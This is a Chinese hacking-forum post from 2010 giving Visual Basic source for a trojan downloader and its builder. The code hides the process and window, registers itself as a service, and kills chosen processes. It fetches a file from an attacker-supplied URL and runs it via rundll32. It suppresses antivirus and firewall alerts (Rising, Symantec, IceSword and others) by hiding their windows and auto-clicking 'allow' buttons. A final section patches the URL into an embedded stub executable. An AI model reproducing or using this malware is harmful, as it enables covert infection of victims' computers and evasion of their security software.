'省略部分API声明 防止…………
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Public pid
添加过程：
Public Sub MakeMeService()
Dim pid As Long
Dim regserv As Long
pid = GetCurrentProcessId()
regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub
隐藏界面：
这就比较简单了。
Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False
Me.Visible = False
End Sub
2-结束进程
下载者必须结束掉一些麻烦的进程。
添加过程：
Private Sub KillProcess(sProcess As String)
Dim lSnapShot As Long
Dim lNextProcess As Long
Dim tPE As PROCESSENTRY32
lSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&)
If lSnapShot <> -1 Then
tPE.dwSize = Len(tPE)
lNextProcess = Process32First(lSnapShot, tPE)
Do While lNextProcess
If LCase$(sProcess) = LCase$(Left(tPE.szExeFile, InStr(1, tPE.szExeFile, Chr(0)) - 1)) Then
Dim lProcess As Long
Dim lExitCode As Long
lProcess = OpenProcess(1, False, tPE.th32ProcessID)
TerminateProcess lProcess, lExitCode
CloseHandle lProcess
End If
lNextProcess = Process32Next(lSnapShot, tPE)
Loop
CloseHandle (lSnapShot)
End If
End Sub
API声明较多：
'一切为了HX 省略……大家自己查API手册吧！
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapShot As Long, lppe As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapShot As Long, lppe As PROCESSENTRY32) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal blnheritHandle As Long, ByVal dwAppProcessId As Long) As Long
3-下载-核心
下载者的核心代码。
这里用模块实现，比直接用API牛X。
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
On Error Resume Next
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
Call KillProcess("$$$$$$$$$$$$$$$$$$$$$$$$")
Shell "Rundll32.exe url.dll, FileProtocolHandler " & save, vbNormalFocus
End
End If
End Function
FORM1LOAD过程添加代码：
DownloadFile "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@", save
4-对抗firewall
防火墙很麻烦。这里引用了qw22321同学在黑X提供的代码。（是2009的版本，大家可以用2010军刺）
不建议大家添加过多的FIREWALL文件名，明眼人一下看出来了。
代码已经HX.
Dim hwnd As Long, hButton As Long, PID As Long
Dim StrTitle As String * 255, StrClassName As String * 255
Dim AvTitle() As String, AvTitleNum As Integer
Dim AV_Num As Integer, AV_Names() As String
On Error Resume Next
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''killXXXXX
Dim hwnd1 As Long
Dim childhwnd1 As Long
hwnd1 = FindWindow(vbNullString, "XXX")
childhwnd1 = FindWindowEx(hwnd1, 0, "Button", "重启前使用相同的处理方式，不再提示。")
ShowWindow hwnd1, 0
SendMessage childhwnd1, BM_CLICK, 0&, 0&
Dim hwnd2 As Long
Dim childhwnd2 As Long
hwnd2 = FindWindow(vbNullString, "XXX")
childhwnd2 = FindWindowEx(hwnd2, 0, "Button", "#*H14;C0;S100;*#允许 #*H12;C6579300;S000;*# 允许改动此注册表项")
ShowWindow hwnd2, 0
SendMessage childhwnd2, BM_CLICK, 0&, 0&
Dim hwnd3 As Long
Dim childhwnd3 As Long
hwnd3 = FindWindow(vbNullString, "瑞星智能主动防御")
childhwnd3 = FindWindowEx(hwnd3, 0, "Button", vbNullString)
ShowWindow hwnd3, 0
SendMessage childhwnd3, BM_CLICK, 0&, 0&
''''''''''''''对付XXX''''''''''''''''''''''''''''''
hwnd = FindWindow("Afx:400000:0", vbNullString) 'Public Declare Function FindWindow Lib
hButton = FindWindowEx(hwnd, 0, "Button", "确定") 'Public Declare Function FindWindowEx Lib
If hButton <> 0 Then
PostMessage hButton, &HF5, 0, 0 'Public Declare Function PostMessage Lib
End If
''''''''''''''''''''杀死病毒窗口''''''''''''''''
hwnd = GetForegroundWindow '这里想用Enum来做的但是cpu占用率太高了'Public Declare Function GetForegroundWindow Lib _
"user32" () As Long
Call GetWindowText(hwnd, StrTitle, 100) 'Public Declare Function GetWindowText Lib _
"user32" Alias "GetWindowTextA" (ByVal hWnd As Long, _
ByVal lpString As String, ByVal cch As Long) As Long
Call GetClassName(hwnd, StrClassName, 100) 'Public Declare Function GetClassName Lib _
"user32" Alias "GetClassNameA" (ByVal hWnd As Long, _
ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
AvTitle = Split("省略大部分Avp,Rising,JiangMin,SnipeSword,icesword,VirusScan,System Safety Monitor" & ",Symantec AntiVirus,esteem,AV,VK,SREng,Anti,RootKit,Rku,SysSafe,SSM", ",") '注册表,注册表,任务管理器,,Taskmgr先拿出来吧
For AvTitleNum = LBound(AvTitle) To UBound(AvTitle)
If InStr(1, StrTitle, AvTitle(AvTitleNum), 1) > 0 Or InStr(1, StrClassName, AvTitle(AvTitleNum), 1) > 0 Then
ShowWindow hwnd, 0 'Public Declare Function ShowWindow Lib _
"user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
PostMessage hwnd, &H12, 0, 0 ''Public Declare Function PostMessage Lib
PostMessage hwnd, &H10, 0, 0
PostMessage hwnd, &H112, &HF5, ByVal 2
End If
Next AvTitleNum
Dim f() As Byte
Dim v As Long
Dim l1, l2, l3 As Long
Dim info As Byte
l1 = Len(Text1.Text)
l2 = Len(Text2.Text)
l3 = Len(Text3.Text)
If l1 = 0 Or l2 = 0 Or l3 = 0 Then
MsgBox "请正确输入配置信息", vbCritical, "警告"
Exit Sub
End If
f = LoadResData(101, "CUSTOM")
Open App.Path & "\down.exe" For Binary Access Write As #1
For v = 0 To FILESIZE - 1 '开始输出
Put #1, , f(v)
Next v
Close #1
Dim i, s, m As Long
Open App.Path & "\down.exe" For Binary As #1
s = 0
m = 7328
For i = 1 To l1
Seek #1, m + i + s
s = s + 1
Put #1, , Asc(Mid(Text1.Text, i, 1))
Next i
s = 0
m = 6420
For i = 1 To l2
Seek #1, m + i + s
s = s + 1
Put #1, , Asc(Mid(Text2.Text, i, 1))
Next i
s = 0
m = 7432
For i = 1 To l3
Seek #1, m + i + s
s = s + 1
Put #1, , Asc(Mid(Text3.Text, i, 1))
Next i
Close #1
MsgBox ("生成下载者"), vbOKOnly, "恭喜" '提醒成功
[复制链接]
发表于 2010-11-27 17:13
